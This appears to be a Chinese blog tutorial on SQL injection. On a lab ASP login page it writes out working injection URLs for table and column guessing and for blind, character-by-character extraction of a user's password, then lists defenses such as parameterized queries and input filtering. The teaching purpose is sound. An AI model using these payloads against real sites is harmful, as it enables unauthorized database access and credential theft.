sql注入风险和案例分析

什么是SQL注入攻击?引用百度百科的解释:

sql注入_百度百科:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1]  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

详细步骤:(相关文件下载在最后)

1.针对给出的WEB系统运行AspWebServer

2.进入登录页面进行SQL注入漏洞测试

正常登录:

用户名:admin 密码:admin

SQL注入漏洞测试:

  • 在正常用户名admin后增加一个单引号,单击"登录"
  • 或在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
  • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

在正常用户名admin后增加一个单引号,单击"登录"

出错

在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

登录出错

登录出错,证明存在SQL注入漏洞。

3.SQL注入攻击

构造可以正常运行的目标地址

  • 输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1
  • 原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
  • 登录失败

  • 输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
  • 原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
  • 登录成功

可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

4. 猜解数据库表名

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

  • 成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

5. 猜解数据库字段名

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
  • 若用户名字段确为uname,则提示登录成功
  • 同理可猜出密码字段为upass

猜测用户名字段为name,登录出错

猜测用户名字段为uname,登录成功

说明数据库中用户名字段为uname

猜测密码字段为upass,登录成功

说明数据库中密码字段为upass

6.猜解密码长度

  • 已知有一用户名为"wucm",首先猜其密码长度大于1
  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功,说明"wucm"的密码长度为6位

7.猜解密码

根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

首先测试第一位是否为数字

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

出错,说明密码第一位不是数字, 测试是否位字母

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

  • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功,说明密码第一位位"w"

同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

登录成功,证明整个猜测过程和最后得出的密码都是正确的


防范SQL注入攻击的方法:

既然SQL注入式攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻击有一定的帮助。
  1、 普通用户与系统管理员用户的权限要有严格的区分。
  如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
  2、 强迫使用参数化语句。
  如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

3、 加强对用户输入的验证。

  总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
  如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。
  故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

实例:JSP使用过滤器防止SQL注入

  4、 多多使用SQL Server数据库自带的安全参数。
  为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
  如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。如上面这个案例中,如果员工编号定义的数据类型为字符串型,长度为10个字符。而用户输入的内容虽然也是字符类型的数据,但是其长度达到了20个字符。则此时就会引发异常,因为用户输入的内容长度超过了数据库字段长度的限制。
  5、 多层环境如何防治SQL注入式攻击?
  在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
  6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
  使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。

7、设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。


攻击与防御一直是对立存在的两面,有新的攻击方式就会有更好的防护方法!在计算机网络方面两者更是通过长期竞争实现共同的进步;任何系统都不是完美的,既然我们不能开发出绝对安全的系统,那我们就要时刻防范各种可能的攻击。出现漏洞及时修复,这样才能保证我们系统的安全与稳定!

本文用到的文件下载:sql注入实例分析.rar

附送一个动画教程:SQLInjection.rar

此文转载至左昱_leftshine,感谢!http://www.cnblogs.com/leftshine/p/SQLInjection.html

sql注入风险和案例分析相关推荐

  1. pdo mysql防注入_Php中用PDO查询Mysql来避免SQL注入风险的方法

    当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...

  2. 浅谈SQL注入风险 - 一个Login拿下Server(转)

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:"老师你这SQL有注 ...

  3. mysql pdo 安全_使用PDO查询Mysql来避免SQL注入风险

    当 我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失 去控制.虽然可以用mysql_real_escap ...

  4. 报表工具的 SQL 植入sql注入风险及规避方法

    原文链接:http://c.raqsoft.com.cn/article/1561683907950?r=CGQ 互联网时代带来方便的同时也带来了安全隐患,各种安全问题可说是防不胜防,特别是大家日益关 ...

  5. 同事都说有SQL注入风险,我非说没有

    前言 现在的项目,在操作数据库的时候,我都喜欢用ORM框架,其中EF是一直以来用的比较多的:EF 的封装的确让小伙伴一心注重业务逻辑就行了,不用过多的关注操作数据库的具体细节.但是在某些场景会选择执行 ...

  6. SQL优化实战经典案例分析

    前言 大家好,我是黎杜,今天和大家聊聊SQL优化的场景. SQL调优这块呢,大厂面试必问的.最近金九银十嘛,所以整理了SQL的调优思路,并且附几个经典案例分析. 1.慢SQL优化思路. 慢查询日志记录 ...

  7. SQL注入的简单案例

    文章目录 什么是SQL注入 使用数据库客户端工具查询用户表 访问ERP系统(对密码输入框进行SQL注入) SQL注入的原理 解决方案 重新注册一个管理员账号 使用sys账号登录ERP系统(输入正确的密 ...

  8. thinkphp5.0.9预处理导致的sql注入复现与详细分析

    复现 先搭建thinkphp5.0.9环境 配置下测试环境 然后访问 http://tptest.cc/index.php/index/index/getage?names[0,updatexml(0 ...

  9. MySQL攻略 - JDBC程序SQL注入,PreparedStatement接口详解与案例练习,JDBC相关API小结

    文章目录 SQL注入 Statement详解 基本介绍 Navicat演示SQL注入 JDBC演示SQL注入 PreparedStatement详解 基本介绍 预处理好处 预处理案例(selete语句 ...

  10. SQL性能优化案例分析

    这段时间做一个SQL性能优化的案例分析, 整理了一下过往的案例,发现一个比较有意思的,拿出来给大家分享. 这个项目是我在项目开展2期的时候才加入的, 之前一期是个金融内部信息门户, 里面有个功能是收集 ...

最新文章

  1. Linux的19 个装B的命令,记得搂一遍!!!
  2. 64位 windows python3.4及numpy matplot等的安装
  3. django ForeignKey的使用
  4. 跨域共享session (实现http跳转https 共享session)
  5. 微软安全软件_微软在 GitHub 上发布了一个供内部使用的 Linux 发行版 | 新闻拍一拍...
  6. 使用EasyPoi导出word并转换为pdf
  7. php errorcode,errorCode.php
  8. 【Vim】No write since last change
  9. 克里希纳驼奶粉食疗可养生?
  10. 文献翻译:《Basel Face Model 2009》(一种用于姿态和光照不变人脸识别的三维人脸模型,3DMM,BFM2009)
  11. [乐意黎转载]从零开始学习jQuery (二) 万能的选择器
  12. 植物大战僵尸anroid版
  13. 数据结构实验一 —— 矩阵相乘算法
  14. 计算机房考研英语考试时间按,考研各科目答题时间分配
  15. Capture One Pro 21 for Mac(RAW图像处理软件)
  16. 计算机二级是中级还是初级,五年计划:初级、中级、CPA、计算机二级、驾驶证。有亲和我一样的吗? _0...
  17. php数组及解析,PHP基本知识(数组解析)
  18. ROS仿真--URDF
  19. 一种网页游戏图片预加载方案
  20. ArrayList分页Lists.partition遇到的坑

热门文章

  1. p=p-next 表达了什么意思
  2. arduino麦轮转弯程序_麦克纳姆轮全向轮战车程序精髓分享
  3. oracle查询是否包含英文字符串,oracle字符串载取及判断是否包含指定字符串
  4. 90°光混频器原理分析
  5. amd显卡怎么设置风扇?
  6. 【实操】下载在线m3u8视频为本地mp4
  7. 真北敏捷 | 明治维新与敏捷:思想、制度和器物
  8. vc9.vc11.vc14_vc解释了为什么vc现在如此生气
  9. 2021计算机会议截稿时间,ICCV 2021即将截稿、NeurIPS 大会征稿通知... | AI 顶会动态一览...
  10. Named Entity Recognition for Chinese Social Media with Jointly Trained Embedding 笔记